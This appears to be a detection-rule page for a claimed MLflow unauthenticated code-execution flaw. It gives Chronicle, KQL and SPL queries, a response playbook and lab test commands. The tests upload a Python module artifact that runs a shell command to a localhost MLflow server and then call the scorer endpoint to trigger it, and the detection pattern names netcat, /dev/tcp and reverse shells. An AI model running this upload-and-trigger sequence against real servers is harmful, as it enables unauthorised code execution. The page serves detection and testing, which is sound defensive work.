Detect MLflow Unauthenticated RCE via Third-Party Scorer Deserialization (CVE-2026-116692) in Google Chronicle
Detects exploitation of CVE-2026-116692, a critical (CVSS 9.8) remote code execution vulnerability in MLflow versions >= 3.12.0rc0 and < 3.17.0. Unauthenticated MLflow tracking servers deserialize third-party scorers and import caller-placed artifact modules, allowing an attacker to upload a malicious Python module as an artifact and have the server import/execute it (CWE-94 code injection, CWE-470 unsafe reflection). Detection focuses on anomalous artifact uploads to the MLflow REST API, child-process spawning from the MLflow/gunicorn server process, and HTTP requests to scorer/evaluation endpoints from unauthenticated clients.
MITRE ATT&CK
- Tactic
- Initial Access Execution
YARA-L Detection Query
// df00tech DF00-1ac4f0622c · https://df00tech.com/detections/CVE-2026-116692 · licence: https://df00tech.com/detections/licence
rule mlflow_scorer_deserialization_rce_cve_2026_116692 {
meta:
author = "Argus"
description = "MLflow unauthenticated RCE via scorer deserialization (CVE-2026-116692)"
severity = "CRITICAL"
events:
$e.metadata.event_type = "PROCESS_LAUNCH"
$e.principal.process.parent_process.command_line = /mlflow|gunicorn.*mlflow/ nocase
$e.target.process.file.full_path = /\/(sh|bash|dash|curl|wget|nc|ncat|python3?)$/
$e.target.process.command_line = /-c |\/dev\/tcp|socket|subprocess|base64|reverse/ nocase
$host = $e.principal.hostname
match:
$host over 10m
condition:
$e
} Detects suspicious child processes launched by an MLflow server process on Chronicle-ingested endpoint telemetry.
Data Sources
Required Tables
False Positives & Tuning
- MLflow entry points spawning helper processes
- Operator interactive shells on the host
- Evaluation flows invoking external binaries
Other platforms for CVE-2026-116692
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Upload Python module artifact to unauthenticated MLflow server
Expected signal: PUT request to /mlflow-artifacts/artifacts with a .py filename in web/MLflow access logs
- Test 2 Invoke scorer/evaluate endpoint to trigger module import
Expected signal: POST request to /mlflow/scorers (or /evaluate) following an artifact upload from the same source IP
- Test 3 MLflow server spawns a shell (post-exploitation simulation)
Expected signal: Child process (bash/python) launched with an MLflow/gunicorn parent command line
References (5)
Response Playbook
Triage
- Identify the MLflow server version on the affected host (pip show mlflow); confirm it falls within >= 3.12.0rc0 and < 3.17.0 and is therefore vulnerable.
- Determine whether the tracking server is exposed without authentication and reachable from untrusted networks — the vulnerability requires unauthenticated access to the scorer/evaluation path.
- Review web/proxy and MLflow access logs for PUT/POST uploads of .py/.pkl/.cloudpickle/.dill artifacts followed by calls to scorer or /evaluate endpoints from the same source IP.
- Inspect the artifact store directory for recently added Python modules or pickle files that do not correspond to legitimate model logging activity.
Containment
- Block untrusted network access to the MLflow tracking server (firewall/security group) and place it behind an authenticating reverse proxy immediately.
- Upgrade MLflow to >= 3.17.0, which fixes the scorer-deserialization import behavior.
- If compromise is suspected, isolate the host from the network and preserve it for forensics before remediation.
Evidence Collection
- Capture the MLflow artifact store contents, focusing on attacker-uploaded Python/pickle modules, and compute hashes for IOC sharing.
- Export MLflow server, gunicorn/uvicorn, and reverse-proxy access logs covering the suspected exploitation window, plus EDR process/network telemetry for the server process tree.
Escalation Criteria
- !Escalate to incident response if a child process (shell, interpreter, or network tool) was spawned by the MLflow server process or if outbound connections to attacker infrastructure are observed.
- !Escalate if attacker-controlled modules are confirmed present in the artifact store or if lateral movement / credential access from the server host is detected.
Investigation Guide
Forensic Artifacts
- >
Attacker-uploaded Python/pickle module files in the MLflow artifact store - >
MLflow and gunicorn/uvicorn access logs showing the upload-then-evaluate request sequence - >
Process-tree telemetry showing child processes of the MLflow server - >
Outbound network connections from the MLflow server process to non-standard ports
Tuning Guidance
cloudpickle is MLflow's default model serialization format, so artifact uploads of .pkl/.cloudpickle are expected — focus on the correlation of unauthenticated upload followed by a scorer/evaluate call, and on any child-process or outbound-connection activity from the server. Baseline legitimate MLOps source IPs and training pipelines, then alert on deviations. Tighten severity when the server is confirmed internet-exposed and unauthenticated.
Hunting Queries
Hunts for MLflow server child processes and clustered artifact-upload/evaluate requests indicative of exploitation.
// df00tech DF00-1ac4f0622c · https://df00tech.com/detections/CVE-2026-116692 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessCommandLine has "mlflow" | where FileName in~ ("sh","bash","python","python3","curl","wget","nc") | project TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessCommandLine ``` df00tech DF00-1ac4f0622c · https://df00tech.com/detections/CVE-2026-116692 · licence: https://df00tech.com/detections/licence ```
index=* sourcetype=mlflow:access (uri_path="*artifacts*" OR uri_path="*scorers*" OR uri_path="*evaluate*") (method=PUT OR method=POST) | stats count values(uri_path) by clientip | where count>2 Atomic Red Team Tests
Simulates an attacker uploading a malicious Python module as an artifact to a lab MLflow tracking server with no authentication.
Command
curl -s -X PUT "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/evil_scorer.py" --data-binary 'import os; os.system("id > /tmp/mlflow_poc.txt")' Cleanup
curl -s -X DELETE "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/evil_scorer.py"; rm -f /tmp/mlflow_poc.txt Expected Telemetry
PUT request to /mlflow-artifacts/artifacts with a .py filename in web/MLflow access logs
Expected Detection
SPL/QRadar/Sumo queries flag the .py artifact upload to the MLflow artifact endpoint.
Simulates calling the scorer/evaluate endpoint that imports the previously uploaded caller-placed module.
Command
curl -s -X POST "http://127.0.0.1:5000/api/2.0/mlflow/scorers" -H 'Content-Type: application/json' -d '{"scorer":"evil_scorer","artifact_path":"evil_scorer.py"}' Cleanup
echo 'no artifacts to clean for this step' Expected Telemetry
POST request to /mlflow/scorers (or /evaluate) following an artifact upload from the same source IP
Expected Detection
Upload-then-evaluate correlation in the SPL/Sumo/QRadar queries fires.
Simulates the code-execution outcome by having a process resembling the MLflow server spawn a shell that runs a command.
Command
bash -c 'exec -a guncorn-mlflow bash -c "bash -c id"' ; python3 -c "import subprocess; subprocess.run(['bash','-c','id'])" Cleanup
echo 'no persistent changes made' Expected Telemetry
Child process (bash/python) launched with an MLflow/gunicorn parent command line
Expected Detection
KQL/EQL/Chronicle/CrowdStrike process-chain rules detect the server-spawned shell.